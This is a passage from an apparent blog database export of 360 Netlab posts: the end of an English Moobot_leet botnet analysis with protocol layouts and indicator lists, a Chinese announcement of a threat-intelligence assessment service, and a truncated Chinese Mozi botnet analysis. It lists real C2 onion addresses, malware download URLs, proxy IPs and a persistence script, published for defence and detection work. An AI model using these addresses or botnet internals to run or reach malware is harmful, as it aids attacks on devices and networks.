prefix( `0D 02 50 08 10 18 12 06 17 17 61 77 7A 79 6A 97`) and suffix( `CC 81 88 BB BD B8 DE`) as examples, splicing to get ciphertext( `0D 02 50 08 10 18 12 06 17 17 61 77 7A 79 6A 97 CC 81 88 BB BD B8 DE`), decryption can get Tor-C2 as `ol6zbnlduigehodu.onion`.\n\nThe strange thing is that from the code level ( `random mod 7`), it can be seen that there should be 7 Tor-C2, but there are only 3 in the actual sample, which will cause the bot to access the non legit Tor-C2. We guess it may be a method used to disrupt security researchers & to throw false negative to the sandbox IOC automatic extraction system.\n\n<a href=\"__GHOST_URL__/content/images/2020/08/mooleet_illegal.PNG\"><img src=\"__GHOST_URL__/content/images/2020/08/mooleet_illegal.PNG\" class=\"kg-image\"/></a>\n\n### Communication protocol\n\nAn overview of Moobot_leet network traffic is as follows\n\n <a href=\"__GHOST_URL__/content/images/2020/08/mooleet_view.PNG\"><img src=\"__GHOST_URL__/content/images/2020/08/mooleet_view.PNG\" class=\"kg-image\"/></a>\nFirst, establish a connection with the built-in proxy node of the sample, then establish a connection with Tor-C2, and finally use the normal Moobot communication protocol to notify C2 it is alive and can receive the attack command issued by C2.\n\n#### 1. Establish a connection with the proxy, the port is 9050\n\n<a href=\"__GHOST_URL__/content/images/2020/08/mooleet_proxy-1.PNG\"><img src=\"__GHOST_URL__/content/images/2020/08/mooleet_proxy-1.PNG\" class=\"kg-image\"/></a>\n The list of hardcode proxy nodes in the sample is as follows:\n\n ```\n 1.26.150.133\n 104.45.52.37\n 107.21.38.230\n 12.11.175.187\n 128.199.45.26\n 13.50.100.110\n 136.243.69.28\n 138.68.107.137\n 158.69.33.149\n 165.22.117.234\n 173.212.249.65\n 185.242.114.206\n 193.29.187.226\n 193.70.77.132\n 20.188.45.175\n 3.8.5.177\n 31.6.69.162\n 35.153.180.187\n 35.158.231.234\n 4.21.119.186\n 45.137.22.80\n 45.14.148.239\n 46.101.216.75\n 5.138.113.101\n 5.252.225.249\n 51.11.247.88\n 51.15.239.174\n 51.75.144.59\n 51.77.148.172\n 62.149.14.80\n 79.130.136.67\n 80.241.212.116\n 82.146.61.193\n 82.230.81.131\n 86.177.24.148\n 89.163.146.187\n 89.217.41.145\n 9.43.47.135\n 9.43.47.39\n 90.93.30.29\n 91.228.218.66\n 92.222.76.104\n 92.29.22.186\n 93.104.211.123\n 94.100.28.172\n ```\n\n \n\n#### 2. Establish a connection with C2 through Tor-Proxy protocol\n\n <a href=\"__GHOST_URL__/content/images/2020/08/mooleet_torcc.PNG\"><img src=\"__GHOST_URL__/content/images/2020/08/mooleet_torcc.PNG\" class=\"kg-image\"/></a>\n\n The sample hardcode Tor-C2 list is as follows:\n\n ```\n ol6zbnlduigehodu.onion：1900\n uajl7qmdquxaramd.onion：554\n nhez3ihtwxwthjkm.onion：21\n ```\n\n#### 3. Communicate with C2 through the Moobot protocol, the specific go live, heartbeat, and attack packet are as follows\n\n - Register package\n\n <a href=\"__GHOST_URL__/content/images/2020/08/mooleet_reg.PNG\"><img src=\"__GHOST_URL__/content/images/2020/08/mooleet_reg.PNG\" class=\"kg-image\"/></a>\n\n```\n msg parsing\n ----------------------------------------------------------------\n 33 66 99 \t\t\t\t\t-----> hardcoded magic\n 07\t\t\t\t\t\t\t-----> group string length\n 62 61 6c 6c 6f 6f 6e\t\t\t-----> group string,here it is \"balloon\"\n```\n\n \n\n - Heartbeat package\n <a href=\"__GHOST_URL__/content/images/2020/08/mooleet_rand.PNG\"><img src=\"__GHOST_URL__/content/images/2020/08/mooleet_rand.PNG\" class=\"kg-image\"/></a>\n\n\n\n```\n msg parsing\n ----------------------------------------------------------------\n c7 15 3a fa \t\t\t\t\t-----> random 4 bytes msg from bot\n c7 15 3a fa\t\t\t\t\t\t-----> 4 bytes msg from c2\t\n```\n \n - The attack command is similar to mirai\n\n```\n00000000: 01 00 00 00 3C 01 C2 0F 92 0C 20 02 01 00 05 32 ....<..... ....2\n00000010: 38 30 31 35 02 00 04 31 34 36 30 02 1C 8015...1460..\n```\n\n# Moobot DDoS campaign\n\nMoobot's DDoS attacks are active all year round, and our previous article also introduced Moobot's attacks [[1]](__GHOST_URL__/moobot/) . Here are the DDoS targets launched by Moobot.(we noticed `electrum.hodlister.co` has been attacked from this Moobot nonstop for a few months now)\n\n<a href=\"__GHOST_URL__/content/images/2020/09/Snip20200929_7.png\"><img src=\"__GHOST_URL__/content/images/2020/09/Snip20200929_7.m.png\" class=\"kg-image\"/></a>\n\n\n# Contact us\nReaders are always welcomed to reach us on [twitter](https://twitter.com/360Netlab) or email us to netlab at 360 dot cn.\n\n# IoC\n#### Tor-C2\n```\ndjq6cvwigo7l7q62.onion:194\ndl3ochoifo77lsak.onion:1553\nkrjn77m6demafp77.onion:6969\nmvo4y3vr7xuxhwcf.onion:21\nnhez3ihtwxwthjkm.onion:21\nol6zbnlduigehodu.onion:1900\nstmptmmm27tco3oh.onion:115\ntto6kqp6nsto5din.onion:17\nuajl7qmdquxaramd.onion:554\nwsvo6jwd3spsb4us.onion:1900\n```\n#### Sample MD5\n```\n022081bc7f49b4aa5c4b36982390cd97\n05764c4d5ec37575d5fd3efe95cf3458\n260bda811c00dac88b4f5a35e9939760\n30416eae1f1922b28d93be8078b25ba0\n348acf45ccb313f6c5d34ca5f68f5e13\n3e9ae33e0d5c36f7cd5f576233d83f26\n4d785886039cbca5372068377f72da43\n565c0456c7fbb393ec483c648155b119\n655b56b345799f99b614e23128942b92\n7735289d33d14644fea27add188093ea\n7988a73a4b5ccb7ca9b98dc633b8c0c6\nb2c66c2831173b1117467fdabc78241e\nbb27f755238528fc3c6386287a5c74a7\nbff215a95f088672ad13933a1de70861\ncb428a513275b5e969353596deb7383d\ncf3602498c49caa902d87579fd420098\ne24dc070a4d90a7b01389de9f2805b2b\nfe0488ec71ee04ddb47792cae199595b\n```\n\n#### Downloader URL\n```\nhttp[://104.244.78.131/boot\nhttp[://104.244.78.131/fre\nhttp[://107.189.10.28/boot\nhttp[://107.189.10.28/fre\nhttp[://141.164.63.40/boot\nhttp[://141.164.63.40/fre\nhttp[://172.104.105.205/boot\nhttp[://185.216.140.70/fre\nhttp[://185.216.140.70/t\nhttp[://185.39.11.84/fre\nhttp[://89.248.174.166/t\nhttp[://92.223.73.55/fre\nhttp[://ape.run/dtf/b\nhttp[://ape.run/fre\nhttp[://c.uglykr.xyz/fre\nhttp[://kreb.xyz/fre\nhttp[://osrq.xyz/dtf/b\nhttp[://osrq.xyz/fre\n```\n\n#### Scanner IP\n```\n176.126.175.10\tAS47540|EURODC-AS\t Romania|Romania|Unknown\n176.126.175.8\tAS47540|EURODC-AS\t Romania|Romania|Unknown\n185.107.80.202\tAS43350|NForce_Entertainment_B.V.\tNetherlands|North_Brabant|Steenbergen\n185.107.80.203\tAS43350|NForce_Entertainment_B.V.\tNetherlands|North_Brabant|Steenbergen\n185.107.80.34\tAS43350|NForce_Entertainment_B.V.\tNetherlands|North_Brabant|Steenbergen\n185.107.80.62\tAS43350|NForce_Entertainment_B.V.\tNetherlands|North_Brabant|Steenbergen\n185.39.11.84\tAS62355|Network_Dedicated_SAS Netherlands|North_Holland|Wormer\n212.224.124.178\tAS44066|First_Colo_GmbH\t Germany|Hesse|Frankfurt\n89.248.174.165\tAS202425|IP_Volume_inc\t Netherlands|North_Holland|Wormer\n89.248.174.166\tAS202425|IP_Volume_inc\t Netherlands|North_Holland|Wormer\n89.248.174.203\tAS202425|IP_Volume_inc\t Netherlands|North_Holland|Wormer\n92.223.73.136\tAS199524|G-Core_Labs_S.A.\t Republic_of_Korea|Seoul|Unknown\n92.223.73.54\tAS199524|G-Core_Labs_S.A.\t Republic_of_Korea|Seoul|Unknown\n92.223.73.55\tAS199524|G-Core_Labs_S.A.\t Republic_of_Korea|Seoul|Unknown\n92.223.73.72\tAS199524|G-Core_Labs_S.A.\t Republic_of_Korea|Seoul|Unknown\n```\n\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 5f72a4967646030007b292e2 |
post | null | 2020-10-13T03:38:00.000Z | 63873b9a8b1c1e0007f52f88 | 360netlab-launch-ioc-assessmement-service | 0 | 2020-11-03T01:42:36.000Z | public | published | null | 2020-11-02T04:24:44.000Z | 360netlab上线域名IOC（威胁情报）评估标准及评估数据服务 | <!--kg-card-begin: markdown--><h2 id="">版本一：程序员版</h2>
<p>一直以来，由于高门槛，安全圈里对威胁情报质量没有一个很好的评估手段，</p>
<blockquote>
<p>PR狠的公司的威胁情报就更好么？<br>
名头响的公司的威胁情报就更好么？<br>
使用了机器学习人工智能这些热词的威胁情报就更好么？<br>
拿了一堆排排坐吃果果的奖的公司的威胁情报就更好么？</p>
</blockquote>
<p>难有人能给个说法，所以最后我们看到用户只能回到一个聊胜于无的方法，哪家的威胁情报的总数多哪家就好，出现的告警次数多哪家就好！<br>
这个方法其实巨坑，举个?：</p>
<blockquote>
<p>A和B厂家提供两份威胁情报，A有10万条IOC，B有5万条IOC。<br>
A的10万条IOC在<strong>实际网络</strong>中总命中IOC不到1000条，产生了20000次告警。<br>
B的5万条IOC在<strong>实际网络</strong>中命中IOC15000条，也产生了20000次告警。</p>
<p>你愿意选择哪个？</p>
</blockquote>
<p>那咋办？<br>
经过一段时间的准备，我们推出来了个一个公益的评估标准，而且还免费提供大网的实际评估数据从而让客户有真实数据评估。</p>
<p>我们这么干是为啥？ 是不是有啥阳谋，要怎么收数据之类的？（答案，没有，看看我们的<a href="https://assess-ioc.netlab.360.com">正经页面</a>就能懂）</p>
<p>另外我们很欢迎有经验的用户提供反馈修正等，对于采用的反馈合并进入评估标准后，我们会在评估手册中列出相应的贡献者名单。</p>
<h2 id="">版本二：项目经理版</h2>
<h3 id="">背景简介</h3>
<p>IOC（威胁情报）评估是威胁情报采购，使用过程中极为重要的一个环节。对其进行科学，透明和可量化的评估是整个威胁情报产业一个重要的组成部分。</p>
<p>鉴于目前市场上缺乏相应的评估标准及评估服务，360netlab基于多年来实网数据分析经验以及丰富的安全分析积累，提出了《域名IOC（威胁情报）评估标准》的第一版——“域名IOC评估19条”——包括11条静态评估标准及8条动态评估标准。</p>
<p>为了更便捷的使用该标准，我们提供了域名IOC（威胁情报）评估标准的线上版本。</p>
<h3 id="">服务内容</h3>
<p>考虑到无论是生产方还是消费方，IOC均为其最核心的资产，从数据安全的角度出发，360netlab不提供对用户IOC的直接评估服务。我们提供可以实操的评估手册和评估过程所需的基础数据，用户可以按照评估手册自行完成整个评估过程。</p>
<h4 id="">评估手册</h4>
<p>首先，我们特提供了域名IOC（威胁情报)评估的操作手册，手册中的每一项都有详细的解释以及建议的操作方法，不同的IOC（威胁情报）相关方可根据手册进行自评和验证。</p>
<p>需要说明的是，评估标准是一个不断改进和完善的过程。我们非常欢迎业界同仁对域名IOC（威胁情报）的评估提供反馈意见。对于任何科学有益的建议，我们都会合并进入评估标准，并清晰注明相应的贡献者，作为《域名IOC（威胁情报)评估标准》的后续版本进行发布。</p>
<h4 id="">评估数据服务</h4>
<p>其次，考虑到不同用户在进行域名IOC（威胁情报）评估时的数据门槛，尤其是动态评估过程中缺乏基础数据以完成评估，360netlab提供了“域名IOC评估数据服务”。</p>
<p>该服务对需要使用基础数据进行IOC（威胁情报）动态评估服务的用户<strong>免费</strong>提供一定时间段的原始数据。需要的用户可以通过我们的<a href="https://assess-ioc.netlab.360.com">评估网站</a> 进行申请。</p>
<p>最后，关于IOC（威胁情报）评估服务的详细内容以及更多其他的内容，欢迎访问我们的评估网站 <a href="https://assess-ioc.netlab.360.com">https://assess-ioc.netlab.360.com</a> 。</p>
<!--kg-card-end: markdown--> | 版本一：程序员版
一直以来，由于高门槛，安全圈里对威胁情报质量没有一个很好的评估手段，
PR狠的公司的威胁情报就更好么？
名头响的公司的威胁情报就更好么？
使用了机器学习人工智能这些热词的威胁情报就更好么？
拿了一堆排排坐吃果果的奖的公司的威胁情报就更好么？
难有人能给个说法，所以最后我们看到用户只能回到一个聊胜于无的方法，哪家的威胁情报的总数多哪家就好，出现的告警次数多哪家就好！
这个方法其实巨坑，举个?：
A和B厂家提供两份威胁情报，A有10万条IOC，B有5万条IOC。
A的10万条IOC在实际网络中总命中IOC不到1000条，产生了20000次告警。
B的5万条IOC在实际网络中命中IOC15000条，也产生了20000次告警。
你愿意选择哪个？
那咋办？
经过一段时间的准备，我们推出来了个一个公益的评估标准，而且还免费提供大网的实际评估数据从而让客户有真实数据评估。
我们这么干是为啥？ 是不是有啥阳谋，要怎么收数据之类的？（答案，没有，看看我们的正经页面就能懂）
另外我们很欢迎有经验的用户提供反馈修正等，对于采用的反馈合并进入评估标准后，我们会在评估手册中列出相应的贡献者名单。
版本二：项目经理版
背景简介
IOC（威胁情报）评估是威胁情报采购，使用过程中极为重要的一个环节。对其进行科学，透明和可量化的评估是整个威胁情报产业一个重要的组成部分。
鉴于目前市场上缺乏相应的评估标准及评估服务，360netlab基于多年来实网数据分析经验以及丰富的安全分析积累，提出了《域名IOC（威胁情报）评估标准》的第一版——“域名IOC评估19条”——包括11条静态评估标准及8条动态评估标准。
为了更便捷的使用该标准，我们提供了域名IOC（威胁情报）评估标准的线上版本。
服务内容
考虑到无论是生产方还是消费方，IOC均为其最核心的资产，从数据安全的角度出发，360netlab不提供对用户IOC的直接评估服务。我们提供可以实操的评估手册和评估过程所需的基础数据，用户可以按照评估手册自行完成整个评估过程。
评估手册
首先，我们特提供了域名IOC（威胁情报)评估的操作手册，手册中的每一项都有详细的解释以及建议的操作方法，不同的IOC（威胁情报）相关方可根据手册进行自评和验证。
需要说明的是，评估标准是一个不断改进和完善的过程。我们非常欢迎业界同仁对域名IOC（威胁情报）的评估提供反馈意见。对于任何科学有益的建议，我们都会合并进入评估标准，并清晰注明相应的贡献者，作为《域名IOC（威胁情报)评估标准》的后续版本进行发布。
评估数据服务
其次，考虑到不同用户在进行域名IOC（威胁情报）评估时的数据门槛，尤其是动态评估过程中缺乏基础数据以完成评估，360netlab提供了“域名IOC评估数据服务”。
该服务对需要使用基础数据进行IOC（威胁情报）动态评估服务的用户免费提供一定时间段的原始数据。需要的用户可以通过我们的评估网站 进行申请。
最后，关于IOC（威胁情报）评估服务的详细内容以及更多其他的内容，欢迎访问我们的评估网站 https://assess-ioc.netlab.360.com 。
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"## 版本一：程序员版\n一直以来，由于高门槛，安全圈里对威胁情报质量没有一个很好的评估手段，\n> PR狠的公司的威胁情报就更好么？\n> 名头响的公司的威胁情报就更好么？\n> 使用了机器学习人工智能这些热词的威胁情报就更好么？\n> 拿了一堆排排坐吃果果的奖的公司的威胁情报就更好么？\n\n难有人能给个说法，所以最后我们看到用户只能回到一个聊胜于无的方法，哪家的威胁情报的总数多哪家就好，出现的告警次数多哪家就好！\n这个方法其实巨坑，举个?：\n\n> A和B厂家提供两份威胁情报，A有10万条IOC，B有5万条IOC。\n> A的10万条IOC在**实际网络**中总命中IOC不到1000条，产生了20000次告警。\n> B的5万条IOC在**实际网络**中命中IOC15000条，也产生了20000次告警。\n> \n> 你愿意选择哪个？\n\n\n那咋办？\n经过一段时间的准备，我们推出来了个一个公益的评估标准，而且还免费提供大网的实际评估数据从而让客户有真实数据评估。\n\n我们这么干是为啥？ 是不是有啥阳谋，要怎么收数据之类的？（答案，没有，看看我们的[正经页面](https://assess-ioc.netlab.360.com)就能懂）\n\n另外我们很欢迎有经验的用户提供反馈修正等，对于采用的反馈合并进入评估标准后，我们会在评估手册中列出相应的贡献者名单。\n\n## 版本二：项目经理版\n### 背景简介\nIOC（威胁情报）评估是威胁情报采购，使用过程中极为重要的一个环节。对其进行科学，透明和可量化的评估是整个威胁情报产业一个重要的组成部分。\n\n鉴于目前市场上缺乏相应的评估标准及评估服务，360netlab基于多年来实网数据分析经验以及丰富的安全分析积累，提出了《域名IOC（威胁情报）评估标准》的第一版——“域名IOC评估19条”——包括11条静态评估标准及8条动态评估标准。\n\n为了更便捷的使用该标准，我们提供了域名IOC（威胁情报）评估标准的线上版本。\n\n### 服务内容\n考虑到无论是生产方还是消费方，IOC均为其最核心的资产，从数据安全的角度出发，360netlab不提供对用户IOC的直接评估服务。我们提供可以实操的评估手册和评估过程所需的基础数据，用户可以按照评估手册自行完成整个评估过程。\n\n#### 评估手册\n首先，我们特提供了域名IOC（威胁情报)评估的操作手册，手册中的每一项都有详细的解释以及建议的操作方法，不同的IOC（威胁情报）相关方可根据手册进行自评和验证。\n\n需要说明的是，评估标准是一个不断改进和完善的过程。我们非常欢迎业界同仁对域名IOC（威胁情报）的评估提供反馈意见。对于任何科学有益的建议，我们都会合并进入评估标准，并清晰注明相应的贡献者，作为《域名IOC（威胁情报)评估标准》的后续版本进行发布。\n\n#### 评估数据服务\n其次，考虑到不同用户在进行域名IOC（威胁情报）评估时的数据门槛，尤其是动态评估过程中缺乏基础数据以完成评估，360netlab提供了“域名IOC评估数据服务”。\n\n该服务对需要使用基础数据进行IOC（威胁情报）动态评估服务的用户**免费**提供一定时间段的原始数据。需要的用户可以通过我们的[评估网站](https://assess-ioc.netlab.360.com) 进行申请。\n\n最后，关于IOC（威胁情报）评估服务的详细内容以及更多其他的内容，欢迎访问我们的评估网站 https://assess-ioc.netlab.360.com 。\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 5f8521187646030007b294db |
post | null | 2020-10-27T09:53:46.000Z | 63873b9a8b1c1e0007f52f89 | untitled-3 | 0 | 2020-10-27T09:53:50.000Z | public | draft | null | null | (Untitled) | <p>sassd</p> | sassd | {"version":"0.3.1","atoms":[],"cards":[],"markups":[],"sections":[[1,"p",[[0,[],0,"sassd"]]]],"ghostVersion":"3.0"} | 5f97ee2a7646030007b295f5 |
post | null | 2020-10-28T03:50:57.000Z | 63873b9a8b1c1e0007f52f8a | mozi | 0 | 2021-08-27T08:18:53.000Z | public | draft | null | null | Mozi 僵尸网络分析报告 | <!--kg-card-begin: markdown--><h3 id="">背景介绍</h3>
<p>我们注意到近期有多家厂商：奇安信、深信服、微软等，都对Mozi僵尸网络进行了跟踪分析，同时多家网络安全媒体也有相关跟踪报道。</p>
<p>我们觉得有必要向安全社区披露部分信息:</p>
<ul>
<li>Mozi僵尸网络没有再更新，幕后作者已经被逮捕</li>
<li>Mozi僵尸网络主业是色情网站，副业才是僵尸网络</li>
<li>Mozi僵尸网络历史版本技术分析</li>
</ul>
<p>2019年9月3号，360公司捕获到Mozi僵尸网络相关样本，并于2019年12月23号首发披露Mozi僵尸网络<a href="__GHOST_URL__/p2p-botnet-mozi/">[1]</a>。</p>
<p>Mozi是一个相对较新的物联网僵尸网络，以DHT协议建立P2P网络进行通信，主要通过10多种n-day漏洞利用和Telnet弱口令方式进行蠕虫式传播。</p>
<h3 id="mozi">Mozi僵尸网络监控</h3>
<p>Mozi僵尸网络至少有60%的肉鸡IP位于中国境内，主要分布在河南、山东、广东、北京等省份。通过360 Anglerfish蜜罐技术，我们监测Mozi僵尸网络传播趋势，掌握Mozi僵尸网络受害者IP、Mozi僵尸网络样本、漏洞利用攻击网络数据包等信息。<br>
<a href="__GHOST_URL__/content/images/2021/08/mozi_botnet_distribution.png"><img src="__GHOST_URL__/content/images/2021/08/mozi_botnet_distribution.png" class="kg-image"/></a></p>
<p>在2020年9月份，Mozi僵尸网络大规模暴涨，我们分析出这是因为几组Telnet弱口令导致印度和中国的大量设备被入侵并植入Mozi僵尸网络，其最高活跃IP在16万/日。<br>
<a href="__GHOST_URL__/content/images/2020/11/Mozi_stats.png"><img src="__GHOST_URL__/content/images/2020/11/Mozi_stats.png" class="kg-image"/></a></p>
<p>目前，Mozi僵尸网络Bot样本程序已经不再更新，但原有的Bot节点仍在进行蠕虫式传播。</p>
<h3 id="">主业是色情网站，副业才是僵尸网络</h3>
<p>1）51.la统计代码<br>
Mozi僵尸网络的管理者使用了51.la提供的统计代码服务来统计感染数量。</p>
<pre><code>https://web.51.la/report/online?comId=20198527
https://web.51.la/report/online?comId=17675125
https://web.51.la/report/online?comId=19894027
</code></pre>
<p>2）色情网站浮出水面<br>
通过360 PassiveDNS系统，我们根据<code>115.144.69.117</code>关联分析得到相关色情网站域名。<br>
<a href="__GHOST_URL__/content/images/2021/08/flint.png"><img src="__GHOST_URL__/content/images/2021/08/flint.png" class="kg-image"/></a></p>
<h3 id="moziv2s">Mozi僵尸网络的v2s版本变化</h3>
<p><a href="__GHOST_URL__/content/images/2020/11/newmozi_network_cn.png"><img src="__GHOST_URL__/content/images/2020/11/newmozi_network_cn.png" class="kg-image"/></a></p>
<h3 id="">逆向分析</h3>
<h3 id="1bot">1：bot样本下载服务</h3>
<ul>
<li>本地主机提供<br>
被mozi感染的节点监听随机TCP端口提供样本下载服务，当接收到"/c"参数，返回"loginok"；其余任何参数，均返回bot样本。<br>
<a href="__GHOST_URL__/content/images/2020/11/newmozi_login.png"><img src="__GHOST_URL__/content/images/2020/11/newmozi_login.png" class="kg-image"/></a></li>
<li>远程主机提供方案a<br>
由Config文件中的<code>[dip]</code>字段指定主机提供样本下载服。<br>
<a href="__GHOST_URL__/content/images/2020/11/newmozi_dip.png"><img src="__GHOST_URL__/content/images/2020/11/newmozi_dip.png" class="kg-image"/></a></li>
<li>远程主机提供方案b<br>
有.ipds文件提供,示例如下</li>
</ul>
<pre><code>95.32.206.163:56398:.m,219.85.186.25:53672:.7,95.32.76.42:53856:.m,45.176.110.210:39149:.m,5.42.38.186:38576:.m,121.182.147.179:60858:.l,213.65.244.86:40814:.m,
</code></pre>
<h2 id="">样本分析</h2>
<p>据统计，此次大规模活动样本为ARM，MIPS俩个CPU架构，本文选取ARM架构的样本为分析对象，样本信息如下</p>
<blockquote>
<p>MD5:b9e122860983d035a21f6984a92bfb22<br>
ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped<br>
Lib: uclibc<br>
Packer:UPX</p>
</blockquote>
<p>此样本中采用UPX加壳，对抗手法依然是将p_filesize & p_blocksize抹零。我们根据<code>botvX/config.c</code>字串将Mozi分成了3个版本，此样本脱壳后已没有此标识，但是有另一字串<code>botv2</code>，因此我们推测，这属于V2的一个分支。随后在网络流量中，证实了我们的推测，此次大规模活动样本的版本号为<code>v2s</code>。<br>
<a href="__GHOST_URL__/content/images/2020/10/newmozi_version.PNG"><img src="__GHOST_URL__/content/images/2020/10/newmozi_version.PNG" class="kg-image"/></a><br>
简单地从功能层面上来看，Mozi Botnet由名为Config的Payload驱动，执行Payload里指定的各种子功能。新旧版本所支持的子功能对比如下图所示<br>
<a href="__GHOST_URL__/content/images/2020/10/newmozi_compare.PNG"><img src="__GHOST_URL__/content/images/2020/10/newmozi_compare.PNG" class="kg-image"/></a></p>
<p>我们已经在上一篇文章详细的分析Mozi Botnet的实现细节，有兴趣的读者可以自行查阅。本文将着重介绍Mozi Botnet的变化以及新特性。</p>
<h2 id="">持久化</h2>
<ul>
<li>/etc/init.d/S95baby.sh</li>
</ul>
<pre><code>#!/bin/sh
/usr/networks&
</code></pre>
<ul>
<li>/usr/networks</li>
<li>/usr/networkstmp</li>
</ul>
<h2 id="">变化&新特性</h2>
<p>作为一个面世不算久的P2P Botnet，Mozi的设计上固然有其精巧的地方，但同时也存在一些缺陷：全部Bot节点同步Config存在效率问题；没有考虑到被感染的Bot节点没有公网IP导致后续感染失败等。在此次分析的Bot样本中，我们看到了Mozi作者对上述问题做出了改进。</p>
<h3 id="1cnc">1：新增cnc子任务</h3>
<p>增加了这个子任务后，Mozi Botnet要进行攻击时，不再需要通过一次一次同步Config获取攻击目标，只需同步一次Config，得到指定的C2即可。整个子任务复用了Mirai的代码的，通过<code>[cnc]</code>关键字指定C2，Bot通过Mirai协议和C2建立通信后，等待C2下发的指令进行DDoS攻击。</p>
<p>以下是获取C2：PORT的代码片段<br>
<a href="__GHOST_URL__/content/images/2020/10/newmozi_mirai.PNG"><img src="__GHOST_URL__/content/images/2020/10/newmozi_mirai.PNG" class="kg-image"/></a></p>
<p>以下是发送上线包的代码片段<br>
<a href="__GHOST_URL__/content/images/2020/10/newmozi_initmsg.PNG"><img src="__GHOST_URL__/content/images/2020/10/newmozi_initmsg.PNG" class="kg-image"/></a></p>
<p>以下是发送心跳的代码片段<br>
<a href="__GHOST_URL__/content/images/2020/10/newmozi_heartbeat.PNG"><img src="__GHOST_URL__/content/images/2020/10/newmozi_heartbeat.PNG" class="kg-image"/></a></p>
<p>以下是支持的攻击向量，一共有12种方法，编号11被写了2次，因此Mozi的Bot节点只支持11种攻击方法。<br>
<a href="__GHOST_URL__/content/images/2020/10/newmozi_ddos.PNG"><img src="__GHOST_URL__/content/images/2020/10/newmozi_ddos.PNG" class="kg-image"/></a></p>
<h3 id="2">2：增加了外网地址</h3>
<p>通过<code>http://ipinfo.io/ip</code>获取外网IP以便在在Telnet，Exploit的payload使用。<br>
<a href="__GHOST_URL__/content/images/2020/10/newmozi_ip.PNG"><img src="__GHOST_URL__/content/images/2020/10/newmozi_ip.PNG" class="kg-image"/></a></p>
<p>加入这个特性之后不会再有下面内网ip出现在传播payload的情况了。<br>
<a href="__GHOST_URL__/content/images/2020/10/newmozi_error.PNG"><img src="__GHOST_URL__/content/images/2020/10/newmozi_error.PNG" class="kg-image"/></a></p>
<h3 id="3upnp">3：增加了upnp端口映射</h3>
<p>当被感染的设备是通过NAT访问网络时，Mozi通过监听端口在设备上开启的HTTP样本下载服务是无法被外网直接访问的，新版本的Mozi通过upnp的<code>AddPortMapping</code>在路由器上实现端口映射，以保证服务的正常访问。<br>
<a href="__GHOST_URL__/content/images/2020/10/newmozi_upnp-1.PNG"><img src="__GHOST_URL__/content/images/2020/10/newmozi_upnp-1.PNG" class="kg-image"/></a></p>
<h2 id="">技术总结</h2>
<p>我们可以看出这些更新都是为了提高效率：DDoS的效率，传播的效率。通过cnc子任务，重构攻击模块，弃用Gafgyt的攻击代码，转向更有效率的Mirai，实现控制节点与业务节点的分离，极大的增加了Mozi Botnet的网络弹性。花费如此多力气在DDos方面，我们有理由相信在将来能看到其在攻击方面的大动作。</p>
<!--kg-card-end: markdown--> | 背景介绍
我们注意到近期有多家厂商：奇安信、深信服、微软等，都对Mozi僵尸网络进行了跟踪分析，同时多家网络安全媒体也有相关跟踪报道。
我们觉得有必要向安全社区披露部分信息:
* Mozi僵尸网络没有再更新，幕后作者已经被逮捕
* Mozi僵尸网络主业是色情网站，副业才是僵尸网络
* Mozi僵尸网络历史版本技术分析
2019年9月3号，360公司捕获到Mozi僵尸网络相关样本，并于2019年12月23号首发披露Mozi僵尸网络[1]。
Mozi是一个相对较新的物联网僵尸网络，以DHT协议建立P2P网络进行通信，主要通过10多种n-day漏洞利用和Telnet弱口令方式进行蠕虫式传播。
Mozi僵尸网络监控
Mozi僵尸网络至少有60%的肉鸡IP位于中国境内，主要分布在河南、山东、广东、北京等省份。通过360 Anglerfish蜜罐技术，我们监测Mozi僵尸网络传播趋势，掌握Mozi僵尸网络受害者IP、Mozi僵尸网络样本、漏洞利用攻击网络数据包等信息。
在2020年9月份，Mozi僵尸网络大规模暴涨，我们分析出这是因为几组Telnet弱口令导致印度和中国的大量设备被入侵并植入Mozi僵尸网络，其最高活跃IP在16万/日。
目前，Mozi僵尸网络Bot样本程序已经不再更新，但原有的Bot节点仍在进行蠕虫式传播。
主业是色情网站，副业才是僵尸网络
1）51.la统计代码
Mozi僵尸网络的管理者使用了51.la提供的统计代码服务来统计感染数量。
https://web.51.la/report/online?comId=20198527
https://web.51.la/report/online?comId=17675125
https://web.51.la/report/online?comId=19894027
2）色情网站浮出水面
通过360 PassiveDNS系统，我们根据115.144.69.117关联分析得到相关色情网站域名。
Mozi僵尸网络的v2s版本变化
逆向分析
1：bot样本下载服务
* 本地主机提供
被mozi感染的节点监听随机TCP端口提供样本下载服务，当接收到"/c"参数，返回"loginok"；其余任何参数，均返回bot样本。
* 远程主机提供方案a
由Config文件中的[dip]字段指定主机提供样本下载服。
* 远程主机提供方案b
有.ipds文件提供,示例如下
95.32.206.163:56398:.m,219.85.186.25:53672:.7,95.32.76.42:53856:.m,45.176.110.210:39149:.m,5.42.38.186:38576:.m,121.182.147.179:60858:.l,213.65.244.86:40814:.m,
样本分析
据统计，此次大规模活动样本为ARM，MIPS俩个CPU架构，本文选取ARM架构的样本为分析对象，样本信息如下
MD5:b9e122860983d035a21f6984a92bfb22
ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
Lib: uclibc
Packer:UPX
此样本中采用UPX加壳，对抗手法依然是将p_filesize & p_blocksize抹零。我们根据botvX/config.c字串将Mozi分成了3个版本，此样本脱壳后已没有此标识，但是有另一字串botv2，因此我们推测，这属于V2的一个分支。随后在网络流量中，证实了我们的推测，此次大规模活动样本的版本号为v2s。
简单地从功能层面上来看，Mozi Botnet由名为Config的Payload驱动，执行Payload里指定的各种子功能。新旧版本所支持的子功能对比如下图所示
我们已经在上一篇文章详细的分析Mozi Botnet的实现细节，有兴趣的读者可以自行查阅。本文将着重介绍Mozi Botnet的变化以及新特性。
持久化
* /etc/init.d/S95baby.sh
#!/bin/sh
/usr/networks&
* /usr/networks
* /usr/networkstmp
变化&新特性
作为一个面世不算久的P2P Botnet，Mozi的设计上固然有其精巧的地方，但同时也存在一些缺陷：全部Bot节点同步Config存在效率问题；没有考虑到被感染的Bot节点没有公网IP导致后续感染失败等。在此次分析的Bot样本中，我们看到了Mozi作者对上述问题做出了改进。
1：新增cnc子任务
增加了这个子任务后，Mozi Botnet要进行攻击时，不再需要通过一次一次同步Config获取攻击目标，只需同步一次Config，得到指定的C2即可。整个子任务复用了Mirai的代码的，通过[cnc]关键字指定C2，Bot通过Mirai协议和C2建立通信后，等待C2下发的指令进行DDoS攻击。
